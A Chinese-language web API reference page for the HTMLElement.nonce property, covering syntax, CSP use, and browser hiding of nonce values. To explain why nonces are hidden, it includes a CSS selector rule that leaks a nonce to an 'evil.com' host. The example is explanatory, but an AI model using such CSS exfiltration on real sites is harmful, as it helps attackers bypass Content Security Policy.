HTMLElement.nonce

这是一个实验中的功能
此功能某些浏览器尚在开发中,请参考浏览器兼容性表格以得到在不同浏览器中适合使用的前缀。由于该功能对应的标准文档可能被重新修订,所以在未来版本的浏览器中该功能的语法和行为可能随之改变。

HTMLElement 接口的 nonce 属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。

在接下来的实现中,有nonce属性的元素只能在脚本中使用(不可以在其他渠道使用,比如css属性选择器)。

语法

var nonce = HTMLElement.nonce
HTMLElement.nonce = nonce

访问nonce属性值

以前,并不是所有的浏览器都支持 nonce IDL属性,因此在实际应用场景中,尝试使用getAttribute 作为备选:

let nonce = script['nonce'] || script.getAttribute('nonce');

然而,最新的浏览器版本都隐藏了 nonce 值(返回一个空值)。IDL属(script['nonce'])成为唯一的访问方式。

隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:

script[nonce~=whatever] {
  background: url("https://evil.com/nonce?whatever");
}

说明

说明 状态 注释
HTML Living Standard
nonce
Living Standard 初始定义

支持的浏览器

BCD tables only load in the browser